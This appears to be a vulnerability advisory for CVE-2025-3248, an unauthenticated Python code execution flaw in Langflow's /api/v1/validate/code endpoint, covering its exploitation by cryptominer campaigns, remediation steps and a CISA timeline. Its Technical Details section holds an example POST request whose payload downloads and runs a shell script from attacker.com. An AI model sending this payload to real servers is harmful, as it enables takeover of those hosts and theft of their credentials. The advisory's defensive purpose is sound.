CVE-2025-3248 — Langflow Missing Authentication Vulnerability

CVE-2025-3248

Langflow — Unauthenticated Python Code Execution via /api/v1/validate/code; Cryptominer Campaigns

What is Langflow?

Langflow is an open-source Python web application that provides a visual drag-and-drop interface for building LLM-powered AI agent pipelines and chatbots using frameworks like LangChain. Developers use it to design, prototype, and deploy AI workflows connecting language models to external data sources, APIs, and tools. Langflow is widely used in enterprise AI development environments and is often deployed as an internal service — sometimes exposed to the internet for team collaboration.

The platform's core functionality involves executing user-defined Python code as part of AI pipeline components. This by-design code execution capability makes missing authentication on execution endpoints particularly dangerous.

Overview

CVE-2025-3248 is a missing authentication vulnerability (CWE-306) in Langflow's /api/v1/validate/code endpoint. The endpoint accepts arbitrary Python code and executes it server-side using Python's exec() function — without requiring any authentication. An unauthenticated remote attacker can send a crafted HTTP request with malicious Python code and achieve immediate remote code execution on the Langflow host. Fixed in version 1.3.0, but active exploitation targeting cryptominer deployment was confirmed before the CISA KEV listing.

Affected Versions

Product Vulnerable Fixed
Langflow < 1.3.0 1.3.0

Technical Details

The /api/v1/validate/code endpoint was designed to validate user-submitted Python component code during AI pipeline construction. The endpoint accepts a JSON body containing Python source code, passes it to Python's built-in exec() function without sandboxing or authentication, and returns the execution result.

An attacker simply sends a POST request to this endpoint with any Python code they want to execute — no credentials, no token, no session required. Because exec() runs in the context of the Langflow Python process (which may have access to environment variables, file system paths, AI API keys, and database credentials stored in the application), the impact is equivalent to full server compromise.

Example attack pattern:

POST /api/v1/validate/code HTTP/1.1
Host: <target>:7860
Content-Type: application/json

{"code": "import subprocess; subprocess.run(['curl', 'attacker.com/shell.sh', '-o', '/tmp/s']); subprocess.run(['sh', '/tmp/s'])"}

Key characteristics:

  • Zero prerequisites — no account, no prior access, no user interaction
  • Direct Python code execution in the server process context
  • Langflow typically stores LLM API keys (OpenAI, Anthropic, etc.) in environment variables accessible via os.environ
  • Often deployed with access to internal databases and services

Discovery

The vulnerability was identified and reported to the Langflow project maintainers. A fix was merged to the main branch on March 28, 2025, and released in version 1.3.0 on April 7, 2025.

Exploitation Context

Exploitation began before the CISA KEV listing on May 5, 2025. Cryptominer campaigns were the primary observed payload — attackers deployed XMRig (Monero miner) and similar cryptocurrency mining software on compromised Langflow instances, leveraging the typically high-CPU cloud infrastructure used for AI workloads.

Fortinet FortiGuard Labs documented active exploitation campaigns targeting internet-exposed Langflow deployments. The combination of easy exploitation (single POST request, no auth) and high-value targets (AI development environments with LLM API keys and cloud credentials) made Langflow an attractive target.

Shodan and Censys scans revealed hundreds to thousands of internet-exposed Langflow instances at the time of exploitation, with many running in cloud environments (AWS, GCP, Azure) where compromised credentials could enable further cloud account takeover.

Remediation

  1. Upgrade to Langflow 1.3.0 or later immediately. The CISA deadline was May 26, 2025.
  2. Do not expose Langflow to the internet — it is designed as an internal development tool. Place it behind a VPN, authentication proxy, or firewall that restricts access to authorized users only.
  3. Rotate all LLM API keys stored in or accessible from the Langflow environment — OpenAI, Anthropic, and similar API keys may have been exfiltrated by attackers.
  4. Audit cloud credentials accessible from the Langflow host environment — instance roles (IAM), environment variables, and mounted secrets.
  5. Check for cryptominer processes: look for unexpected CPU-intensive processes (XMRig, xmrig, minerd), unusual outbound connections to mining pools, and crontab entries.
  6. Review access logs for POST requests to /api/v1/validate/code from unexpected IP addresses.

Key Details

PropertyValue
CVE ID CVE-2025-3248
Vendor / Product Langflow — Langflow
NVD Published2025-04-07
NVD Last Modified2025-11-06
CVSS 3.1 Score9.8
CVSS 3.1 VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
SeverityCRITICAL
CWE CWE-306 find similar ↗
CISA KEV Added2025-05-05
CISA KEV Deadline2025-05-26
Known Ransomware Use No

CVSS 3.1 Breakdown

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Required Action

CISA BOD 22-01 Deadline: 2025-05-26. Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Timeline

DateEvent
2025-03-28Fix merged to Langflow main branch
2025-04-07Langflow 1.3.0 released with fix; CVE published
2025-05-05Added to CISA Known Exploited Vulnerabilities catalog; active exploitation in cryptominer campaigns confirmed
2025-05-26CISA BOD 22-01 remediation deadline